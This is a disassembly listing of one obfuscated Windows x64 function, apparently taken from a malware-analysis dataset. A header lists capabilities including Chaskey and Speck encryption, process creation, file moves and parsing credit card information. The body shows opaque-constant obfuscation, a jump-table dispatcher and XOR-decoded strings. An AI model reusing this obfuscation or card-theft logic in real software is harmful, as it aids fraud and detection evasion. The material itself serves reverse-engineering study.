Function at 0x14012efb5
Capabilities:
Authenticate hmac
Create process on windows
Encrypt data using chaskey
Encrypt data using speck
Get common file path
Hash data using murmur3
Move file
Parse credit card information

Disassembly:
push rax
pushf
mov eax, 0x976ea60
pushf
not eax
add eax, 0xd1865a83
xor eax, 0xe21bd104
rol eax, 0x85
popf
pushf
not eax
add eax, 0xeb2dbd65
xor eax, 0xa899989f
rol eax, 0xd2
popf
cmp eax, 0x29
jne 0x14012eff2
popf
pop rax
jmp 0x140130f7c
cmp eax, 0
jne 0x14012f001
popf
pop rax
jmp 0x14012f3a3
cmp eax, 0x3f
jne 0x14012f010
popf
pop rax
jmp 0x140131f18
cmp eax, 1
jne 0x14012f01f
popf
pop rax
jmp 0x14012f5db
cmp eax, 0xd
jne 0x14012f02e
popf
pop rax
jmp 0x14012fd16
cmp eax, 0x1a
jne 0x14012f03d
popf
pop rax
jmp 0x140130458
cmp eax, 0xe
jne 0x14012f04c
popf
pop rax
jmp 0x14012fd72
cmp eax, 0x31
jne 0x14012f05b
popf
pop rax
jmp 0x140131640
cmp eax, 0x19
jne 0x14012f06a
popf
pop rax
jmp 0x1401303fa
cmp eax, 8
jne 0x14012f079
popf
pop rax
jmp 0x14012f9f9
cmp eax, 0x2a
jne 0x14012f088
popf
pop rax
jmp 0x140130ff7
cmp eax, 0x17
jne 0x14012f097
popf
pop rax
jmp 0x140130331
cmp eax, 0x1c
jne 0x14012f0a6
popf
pop rax
jmp 0x1401306b9
cmp eax, 0x2e
jne 0x14012f0b5
popf
pop rax
jmp 0x14013138c
cmp eax, 0x18
jne 0x14012f0c4
popf
pop rax
jmp 0x1401303c0
cmp eax, 0x2b
jne 0x14012f0d3
popf
pop rax
jmp 0x14013116d
cmp eax, 0x1b
jne 0x14012f0e2
popf
pop rax
jmp 0x14013059e
cmp eax, 0x2d
jne 0x14012f0f1
popf
pop rax
jmp 0x140131280
cmp eax, 0x23
jne 0x14012f100
popf
pop rax
jmp 0x140130b7c
cmp eax, 0x25
jne 0x14012f10f
popf
pop rax
jmp 0x140130c7d
cmp eax, 0x32
jne 0x14012f11e
popf
pop rax
jmp 0x140131695
cmp eax, 0x13
jne 0x14012f12d
popf
pop rax
jmp 0x140130181
cmp eax, 0x33
jne 0x14012f13c
popf
pop rax
jmp 0x140131791
cmp eax, 0x24
jne 0x14012f14b
popf
pop rax
jmp 0x140130c0d
cmp eax, 0x1e
jne 0x14012f15a
popf
pop rax
jmp 0x1401307a7
cmp eax, 0xc
jne 0x14012f169
popf
pop rax
jmp 0x14012fcdb
cmp eax, 0x26
jne 0x14012f178
popf
pop rax
jmp 0x140130daf
cmp eax, 0x27
jne 0x14012f187
popf
pop rax
jmp 0x140130e23
cmp eax, 0x30
jne 0x14012f196
popf
pop rax
jmp 0x1401314a7
cmp eax, 0x10
jne 0x14012f1a5
popf
pop rax
jmp 0x14012ff95
cmp eax, 0x37
jne 0x14012f1b4
popf
pop rax
jmp 0x140131a69
cmp eax, 9
jne 0x14012f1c3
popf
pop rax
jmp 0x14012fabe
cmp eax, 0x39
jne 0x14012f1d2
popf
pop rax
jmp 0x140131b44
cmp eax, 0x16
jne 0x14012f1e1
popf
pop rax
jmp 0x1401302b7
cmp eax, 0x3b
jne 0x14012f1f0
popf
pop rax
jmp 0x140131d65
cmp eax, 0xa
jne 0x14012f1ff
popf
pop rax
jmp 0x14012fb87
cmp eax, 0x36
jne 0x14012f20e
popf
pop rax
jmp 0x1401318f3
cmp eax, 0x14
jne 0x14012f21d
popf
pop rax
jmp 0x1401301bb
cmp eax, 7
jne 0x14012f22c
popf
pop rax
jmp 0x14012f9ae
cmp eax, 0x3d
jne 0x14012f23b
popf
pop rax
jmp 0x140131ea6
cmp eax, 2
jne 0x14012f24a
popf
pop rax
jmp 0x14012f696
cmp eax, 0x20
jne 0x14012f259
popf
pop rax
jmp 0x140130898
cmp eax, 0x1d
jne 0x14012f268
popf
pop rax
jmp 0x140130712
cmp eax, 0x11
jne 0x14012f277
popf
pop rax
jmp 0x140130053
cmp eax, 0x35
jne 0x14012f286
popf
pop rax
jmp 0x14013187c
cmp eax, 0x3a
jne 0x14012f295
popf
pop rax
jmp 0x140131c50
cmp eax, 0x12
jne 0x14012f2a4
popf
pop rax
jmp 0x1401300f2
cmp eax, 0x21
jne 0x14012f2b3
popf
pop rax
jmp 0x140130989
cmp eax, 0x38
jne 0x14012f2c2
popf
pop rax
jmp 0x140131ad4
cmp eax, 0xb
jne 0x14012f2d1
popf
pop rax
jmp 0x14012fc2b
cmp eax, 0xf
jne 0x14012f2e0
popf
pop rax
jmp 0x14012ff26
cmp eax, 0x15
jne 0x14012f2ef
popf
pop rax
jmp 0x140130219
cmp eax, 5
jne 0x14012f2fe
popf
pop rax
jmp 0x14012f81e
cmp eax, 6
jne 0x14012f30d
popf
pop rax
jmp 0x14012f8a0
cmp eax, 0x22
jne 0x14012f31c
popf
pop rax
jmp 0x1401309f3
cmp eax, 0x3c
jne 0x14012f32b
popf
pop rax
jmp 0x140131e17
cmp eax, 0x1f
jne 0x14012f33a
popf
pop rax
jmp 0x1401307f1
cmp eax, 4
jne 0x14012f349
popf
pop rax
jmp 0x14012f79d
cmp eax, 0x2f
jne 0x14012f358
popf
pop rax
jmp 0x1401313ef
cmp eax, 0x28
jne 0x14012f367
popf
pop rax
jmp 0x140130ed2
cmp eax, 0x3e
jne 0x14012f376
popf
pop rax
jmp 0x140131ee0
cmp eax, 0x34
jne 0x14012f385
popf
pop rax
jmp 0x1401317e6
cmp eax, 0x2c
jne 0x14012f394
popf
pop rax
jmp 0x140131210
cmp eax, 3
jne 0x14012f3a3
popf
pop rax
jmp 0x14012f794
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x530
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140083080]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor ebx, ebx
lea rdx, [rbp + 0x2f0]
mov ecx, 0xdb45bff4
pushf
not ecx
add ecx, 0xfa33968e
xor ecx, 0x8be868b7
rol ecx, 0x15
popf
pushf
not ecx
add ecx, 0x8eecdaae
xor ecx, 0xc91abbf6
rol ecx, 0xd9
popf
jmp 0x14012f417
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movabs rax, 0x1a9b2907c3de9139
pushf
not rax
add rax, 0x710189f1
xor rax, 0x53200a64
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x65c8325f
xor rax, 0x57151678
rol rax, 0x47
popf
pushf
not rax
add rax, 0x58a35e22
xor rax, 0x46f9fa31
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x5389b795
xor rax, 0x6262ca9d
rol rax, 0xbb
popf
mov qword [rsp + 0x40], rax
movabs rsi, 0x3fe728f54ce2e195
pushf
not rsi
add rsi, 0x45f0621d
xor rsi, 0x5e859723
rol rsi, 0xc1
popf
pushf
not rsi
add rsi, 0x65436c51
xor rsi, 0x576459f0
rol rsi, 0x17
popf
pushf
not rsi
add rsi, 0x40d0d3cf
xor rsi, 0x43087a2d
rol rsi, 0x70
popf
pushf
not rsi
add rsi, 0x44f8ec28
xor rsi, 0x631e47a1
rol rsi, 0x7a
popf
mov qword [rsp + 0x48], rsi
movabs r14, 0x66e5df5836fbf815
pushf
not r14
add r14, 0x76c44b5d
xor r14, 0x50dd0a1f
rol r14, 0x6f
popf
pushf
not r14
add r14, 0x6b414200
xor r14, 0x6de0fd15
rol r14, 4
popf
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rsi
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x40], xmm0
lea r9, [rbp + 0x1e0]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2f0]
jmp 0x14012f56f
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
lea rax, [rbp + 0x1e0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
push rax
pushf
mov eax, 0xc0695b35
pushf
not eax
add eax, 0xa6fbd1dc
xor eax, 0xef53d0cc
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xb5f258b5
xor eax, 0x9fb95557
rol eax, 0x27
popf
pushf
not eax
add eax, 0xf3567863
xor eax, 0xe6c70ce5
rol eax, 0x67
popf
jmp 0x14012efe3
inc r8
cmp byte [rax + r8], bl
jne 0x14012f63d
push rax
pushf
mov eax, 0xb82caaa0
pushf
not eax
add eax, 0x84218b38
xor eax, 0xef400b2e
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb3ef38ee
xor eax, 0x9d61930f
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x9397e860
xor eax, 0x9b3d45be
rol eax, 0x86
popf
pushf
not eax
add eax, 0xfc3d5c3a
xor eax, 0xa0de984d
rol eax, 0x9c
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xb3f4670e
pushf
not eax
add eax, 0xd06451b7
xor eax, 0x822a4901
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xe4154e63
xor eax, 0x98bdf2df
rol eax, 0x30
popf
pushf
not eax
add eax, 0xd64c8022
xor eax, 0xab2a220b
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xd0af3b11
xor eax, 0xd846d224
rol eax, 0x27
popf
jmp 0x14012efe3
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.140121a84
nop
movabs rax, 0x3fbed0630f379d51
pushf
not rax
add rax, 0x5decae59
xor rax, 0x7f250412
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x52283dc9
xor rax, 0x4166224d
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x49d79fbf
xor rax, 0x6a7ab1a5
rol rax, 0x21
popf
pushf
not rax
add rax, 0x7b4d1830
xor rax, 0x616baf1f
rol rax, 0xb2
popf
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rsi
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x80], xmm0
lea rax, [rbp - 0x80]
mov rsi, rdi
push rax
pushf
mov eax, 0x24b4dd90
pushf
not eax
add eax, 0xe2439a79
xor eax, 0xfff01cf9
rol eax, 0x24
popf
pushf
not eax
add eax, 0xa11b6b91
xor eax, 0xfa9fe3be
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xad16455c
xor eax, 0xf5f81538
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xefec528b
xor eax, 0xe3c8dd5c
rol eax, 0xe0
popf
jmp 0x14012efe3
inc rsi
cmp byte [rax + rsi], 0
jne 0x14012f794
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r14, qword [rbp - 0x70]
mov r15, qword [rbp - 0x60]
test rsi, rsi
je 0x14012f7eb
push rax
pushf
mov eax, 0xdcfea35a
pushf
not eax
add eax, 0xf8a0c75b
xor eax, 0xd9b9e821
rol eax, 0x48
popf
pushf
not eax
add eax, 0xc7bde4f7
xor eax, 0xaef1c334
rol eax, 8
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xfb699ab8
pushf
not eax
add eax, 0xeb7cd685
xor eax, 0xfe8ac802
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x9544034b
xor eax, 0xb45a500e
rol eax, 0x76
popf
jmp 0x14012efe3
test r15, r15
je 0x14012f86d
push rax
pushf
mov eax, 0x529a0b16
pushf
not eax
add eax, 0xb1afc33b
xor eax, 0xf3d2989c
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xf1023c89
xor eax, 0xff9f3e73
rol eax, 0x98
popf
pushf
not eax
add eax, 0x86a82f41
xor eax, 0xb0e5d4b9
rol eax, 0xd4
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x1ab35c3d
pushf
not eax
add eax, 0xdc268453
xor eax, 0xd9a02858
rol eax, 0x32
popf
pushf
not eax
add eax, 0xccb20111
xor eax, 0xcadd9dc4
rol eax, 0xeb
popf
jmp 0x14012efe3
xor edx, edx
mov r8d, 0xbf605a73
pushf
not r8d
add r8d, 0xa88f51eb
xor r8d, 0xf242bbf3
rol r8d, 0xab
popf
pushf
not r8d
add r8d, 0xbab4de01
xor r8d, 0xc3f09258
rol r8d, 0x58
popf
pushf
not r8d
add r8d, 0x8e152ff4
xor r8d, 0xf384feef
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0xd0c8d18c
xor r8d, 0xbe0891b4
rol r8d, 0xf7
popf
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x80]
lea rdx, [rbp - 0x80]
push rsi
not rsi
sub rdx, rsi
pop rsi
sub rdx, 1
lea rax, [rbp - 0x80]
cmp rax, rdx
je 0x14012f97b
push rax
pushf
mov eax, 0x7af138b5
pushf
not eax
add eax, 0x89e5f253
xor eax, 0xfde871bb
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x96546301
xor eax, 0xcf50aa99
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xb26feab0
xor eax, 0x900cb12d
rol eax, 0xc8
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x5a70f55
pushf
not eax
add eax, 0xfad329df
xor eax, 0x8148317b
rol eax, 0x59
popf
pushf
not eax
add eax, 0xd029888e
xor eax, 0xcb40c037
rol eax, 0x63
popf
jmp 0x14012efe3
nop dword [rax + rax]
push rax
pushf
mov eax, 0x1b800975
pushf
not eax
add eax, 0xc7da4c44
xor eax, 0xfb7785cb
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf3f8a23c
xor eax, 0x8eb87694
rol eax, 0x62
popf
pushf
not eax
add eax, 0xc66682c3
xor eax, 0xf49e10ac
rol eax, 0x6b
popf
jmp 0x14012efe3
movzx eax, byte [rcx]
mov byte [rbp + rax + 0xc0], 1
inc rcx
cmp rcx, rdx
jne 0x14012fa65
push rax
pushf
mov eax, 0x6bd77261
pushf
not eax
add eax, 0xa629409f
xor eax, 0xc309da4d
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xab75a827
xor eax, 0xbe3bd8d1
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x86708205
xor eax, 0xcaecc1be
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x9073ea36
xor eax, 0xf7700ff2
rol eax, 0x2e
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x98fb96e6
pushf
not eax
add eax, 0xc9bb35a3
xor eax, 0xcb0fddbb
rol eax, 0x22
popf
pushf
not eax
add eax, 0xcac31ca8
xor eax, 0xdd5b0139
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa3aefbdc
xor eax, 0xb3b6bd53
rol eax, 0x72
popf
pushf
not eax
add eax, 0xc02a14ac
xor eax, 0xa6ce60db
rol eax, 0x2a
popf
jmp 0x14012efe3
lea rax, [r15 - 1]
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xc0], 0
jne 0x14012fb41
push rax
pushf
mov eax, 0xd1a73b52
pushf
not eax
add eax, 0xcf3bb475
xor eax, 0xac61a425
rol eax, 0xb
popf
pushf
not eax
add eax, 0xa58ab1cb
xor eax, 0xe3ccbfbe
rol eax, 0xad
popf
pushf
not eax
add eax, 0x9bc2dc02
xor eax, 0xa23d969b
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x8c7494eb
xor eax, 0xaa80bcc7
rol eax, 0xc8
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xe5d126eb
pushf
not eax
add eax, 0xcc8409c8
xor eax, 0x9c88489e
rol eax, 0x33
popf
pushf
not eax
add eax, 0xff21a74b
xor eax, 0x9520a511
rol eax, 0x37
popf
pushf
not eax
add eax, 0xf2e67f05
xor eax, 0xccca684c
rol eax, 0xa8
popf
jmp 0x14012efe3
cmp r8, r14
je 0x14012fbd2
push rax
pushf
mov eax, 0x937d33b9
pushf
not eax
add eax, 0x9b43f501
xor eax, 0x8737674f
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xd4f2db58
xor eax, 0xa391a0a8
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x9c2cee2d
xor eax, 0xd17c3c8d
rol eax, 0xce
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xc1dafde9
pushf
not eax
add eax, 0xe12b70ff
xor eax, 0xd9b50035
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd14b72a8
xor eax, 0x83577c53
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x84a1edc0
xor eax, 0x845d25ef
rol eax, 0x61
popf
pushf
not eax
add eax, 0xc412d333
xor eax, 0x981ca1e9
rol eax, 0x9b
popf
jmp 0x14012efe3
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xc0], 0
je 0x14012fc95
push rax
pushf
mov eax, 0x17a902f1
pushf
not eax
add eax, 0x8359109a
xor eax, 0xb5dc3f7f
rol eax, 0x99
popf
pushf
not eax
add eax, 0xde2ad6bf
xor eax, 0xf2e18fb7
rol eax, 0x24
popf
pushf
not eax
add eax, 0xb0ea13ca
xor eax, 0x81409adc
rol eax, 0xde
popf
pushf
not eax
add eax, 0xe0abde7a
xor eax, 0xc55342f9
rol eax, 0xa
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xcf14c3e2
pushf
not eax
add eax, 0xbc99eccb
xor eax, 0xe1f1fed8
rol eax, 0x21
popf
pushf
not eax
add eax, 0xc249fa9f
xor eax, 0xa53cebe4
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc547d1b7
xor eax, 0x96776e71
rol eax, 0x3c
popf
jmp 0x14012efe3
sub r8, r14
jmp 0x14012fd72
mov r8, rdi
push rax
pushf
mov eax, 0x44531a93
pushf
not eax
add eax, 0xf4b264cd
xor eax, 0xfe9394d1
rol eax, 0x69
popf
pushf
not eax
add eax, 0xec6786bb
xor eax, 0xe1c0ab7f
rol eax, 0x85
popf
pushf
not eax
add eax, 0xabaf768f
xor eax, 0xcb5e570b
rol eax, 0xc
popf
pushf
not eax
add eax, 0xa9ee4002
xor eax, 0xd01b00a7
rol eax, 0xa2
popf
jmp 0x14012efe3
movabs rax, 0x65e5761413627581
pushf
not rax
add rax, 0x4d7b9389
xor rax, 0x728c9796
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x7ea1823c
xor rax, 0x4f59b3a5
rol rax, 0xff
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x3b2ed487412ea34f
pushf
not rax
add rax, 0x74157265
xor rax, 0x7b97ed94
rol rax, 0x45
popf
pushf
not rax
add rax, 0x4178d82b
xor rax, 0x5a6d8146
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x4b87655d
xor rax, 0x62fd4c94
rol rax, 0x44
popf
pushf
not rax
add rax, 0x69dccd13
xor rax, 0x688bf211
rol rax, 0x14
popf
mov qword [rsp + 0x48], rax
movabs rcx, 0x4bcc226f954af24c
pushf
not rcx
add rcx, 0x66e56bc2
xor rcx, 0x7de64d4f
rol rcx, 0x42
popf
pushf
not rcx
add rcx, 0x4adb8257
xor rcx, 0x4171ca82
rol rcx, 0x23
popf
pushf
not rcx
add rcx, 0x4f2b63df
xor rcx, 0x7115a4c2
rol rcx, 0xf1
popf
pushf
not rcx
add rcx, 0x7b81db01
xor rcx, 0x55df9301
rol rcx, 0x39
popf
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
cmp r15, r8
cmovb r8, r15
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140121a84
nop
lea rax, [rsp + 0x40]
nop
push rax
pushf
mov eax, 0xebfabc76
pushf
not eax
add eax, 0xfe299472
xor eax, 0x99f2d4df
rol eax, 0xee
popf
pushf
not eax
add eax, 0xc93417ad
xor eax, 0xe8af80c6
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xdac079f2
xor eax, 0x937e6d9a
rol eax, 0xc
popf
jmp 0x14012efe3
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012ff62
push rax
pushf
mov eax, 0xbbfc4340
pushf
not eax
add eax, 0xc201761f
xor eax, 0xd6f8cc16
rol eax, 0x10
popf
pushf
not eax
add eax, 0x976d3729
xor eax, 0x98a5662b
rol eax, 0x34
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xda7334f5
pushf
not eax
add eax, 0xddd48f4e
xor eax, 0x8f740511
rol eax, 0x94
popf
pushf
not eax
add eax, 0xeef2a224
xor eax, 0xe459e0ce
rol eax, 0x87
popf
jmp 0x14012efe3
mov r8, rdi
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14012e472
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140130020
push rax
pushf
mov eax, 0x7ba5f145
pushf
not eax
add eax, 0xb33bbd2e
xor eax, 0x8f2f1de3
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb78b4c86
xor eax, 0xcc416a05
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xcabebfc0
xor eax, 0xd163fc2d
rol eax, 0x61
popf
pushf
not eax
add eax, 0xc8a866ab
xor eax, 0x97757818
rol eax, 0xad
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x60dbdd7c
pushf
not eax
add eax, 0x831f29d4
xor eax, 0x80df379e
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9500eaa9
xor eax, 0x9d44507e
rol eax, 0x84
popf
jmp 0x14012efe3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401300bf
push rax
pushf
mov eax, 0xcd8e3841
pushf
not eax
add eax, 0xf4a6f8ed
xor eax, 0x8f72a14c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xf023f5d7
xor eax, 0xdd1b2c46
rol eax, 0xf
popf
pushf
not eax
add eax, 0xc3050a66
xor eax, 0xc643d0c4
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xdf39bda8
xor eax, 0xd19786f8
rol eax, 7
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x2adedbc2
pushf
not eax
add eax, 0x9319666f
xor eax, 0xd6cc986e
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb0ae4927
xor eax, 0x84825b45
rol eax, 0xbb
popf
jmp 0x14012efe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14013013a
push rax
pushf
mov eax, 0x6a6323cb
pushf
not eax
add eax, 0xdf14518b
xor eax, 0xd4905a5e
rol eax, 0xe
popf
pushf
not eax
add eax, 0xf19d5ce3
xor eax, 0x93e8f4da
rol eax, 0xae
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xf289150e
pushf
not eax
add eax, 0x82a96e3c
xor eax, 0xe0595846
rol eax, 0xef
popf
pushf
not eax
add eax, 0xba322231
xor eax, 0x98d168fa
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x8b846dac
xor eax, 0xbb73d391
rol eax, 0x56
popf
jmp 0x14012efe3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011ca1a
push rax
pushf
mov eax, 0x18e3d4da
pushf
not eax
add eax, 0xc0e93f51
xor eax, 0xf31cfdc0
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb546c3c6
xor eax, 0xc78da44e
rol eax, 0x44
popf
pushf
not eax
add eax, 0x826b512d
xor eax, 0xeb4e2c06
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xce9dbb62
xor eax, 0xdae6409c
rol eax, 0xcd
popf
jmp 0x14012efe3
movups xmmword [rbp - 0x70], xmm6
movups xmmword [rbp - 0x60], xmm7
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140130285
push rax
pushf
mov eax, 0x597502cf
pushf
not eax
add eax, 0xc7b57e8b
xor eax, 0xc472e929
rol eax, 0x28
popf
pushf
not eax
add eax, 0xdb477d46
xor eax, 0xac97d321
rol eax, 0x29
popf
pushf
not eax
add eax, 0xa8149f63
xor eax, 0xb42724e7
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xcd1aaf51
xor eax, 0xc0fb33fd
rol eax, 0x9e
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xe8191263
pushf
not eax
add eax, 0x98ad7823
xor eax, 0xd82282d0
rol eax, 1
popf
pushf
not eax
add eax, 0x9d372978
xor eax, 0xcbc95aad
rol eax, 0x1f
popf
jmp 0x14012efe3
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401302fe
push rax
pushf
mov eax, 0x99819103
pushf
not eax
add eax, 0xbb352339
xor eax, 0xd69480b9
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x828f44a6
xor eax, 0xaf517ae0
rol eax, 0x24
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xd79dbf07
pushf
not eax
add eax, 0xcc66f1a5
xor eax, 0xf98c8f4e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x83d9442b
xor eax, 0xef7d66fc
rol eax, 0x22
popf
jmp 0x14012efe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140130379
push rax
pushf
mov eax, 0xac164fd0
pushf
not eax
add eax, 0x9a03232f
xor eax, 0xd80710b5
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9fbbe6d7
xor eax, 0xbdc64b81
rol eax, 0x3e
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x10ae4d1c
pushf
not eax
add eax, 0xd4d02a52
xor eax, 0xa3994ac2
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf7a8deda
xor eax, 0x98ef2df9
rol eax, 0xda
popf
pushf
not eax
add eax, 0xb9036314
xor eax, 0xbfb00feb
rol eax, 0x4f
popf
jmp 0x14012efe3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011ca1a
push rax
pushf
mov eax, 0xaeb59d9d
pushf
not eax
add eax, 0xefacc4d6
xor eax, 0xfb789001
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xea7bcbe5
xor eax, 0x861b0d85
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x94865f59
xor eax, 0xef8bc688
rol eax, 0xac
popf
pushf
not eax
add eax, 0xff49cef5
xor eax, 0xaa9c52cc
rol eax, 0x14
popf
jmp 0x14012efe3
xor edx, edx
mov r8d, 0x8552fa5b
pushf
not r8d
add r8d, 0x90242370
xor r8d, 0x9c2cc695
rol r8d, 0x57
popf
pushf
not r8d
add r8d, 0xa1eff030
xor r8d, 0xe12461b8
rol r8d, 0xdc
popf
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8d, 0xa0a68df2
pushf
not r8d
add r8d, 0x96a4b25b
xor r8d, 0xa5d955b5
rol r8d, 0xe
popf
pushf
not r8d
add r8d, 0x9c2f5e20
xor r8d, 0xafb80a16
rol r8d, 0x49
popf
lea rcx, [rbp - 0x50]
call fcn.14012ed64
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [0x1b50b53b1]
pushf
sub rax, 0x7503e549
popf
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
cmp qword [rbp + 0x38], 0
je 0x14013056b
push rax
pushf
mov eax, 0x1052d91
pushf
not eax
add eax, 0xe859158a
xor eax, 0xfa08e6ef
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe6f1e1c5
xor eax, 0xf25796ac
rol eax, 0x34
popf
pushf
not eax
add eax, 0xcec7aa2c
xor eax, 0xc51997bf
rol eax, 0xd3
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xc6329bc8
pushf
not eax
add eax, 0xc9fa3b30
xor eax, 0x8d6da138
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xa403b9c9
xor eax, 0xc0592ae1
rol eax, 0x9e
popf
jmp 0x14012efe3
mov r8d, 0x34d67a25
pushf
not r8d
add r8d, 0x9e2e0975
xor r8d, 0x96a86711
rol r8d, 2
popf
pushf
not r8d
add r8d, 0xd271f386
xor r8d, 0xea3d5798
rol r8d, 0x9a
popf
pushf
not r8d
add r8d, 0xe2f6d890
xor r8d, 0x9a15e779
rol r8d, 0xe4
popf
lea rdx, [0x1808ba0b9]
pushf
sub rdx, 0x40836fa9
popf
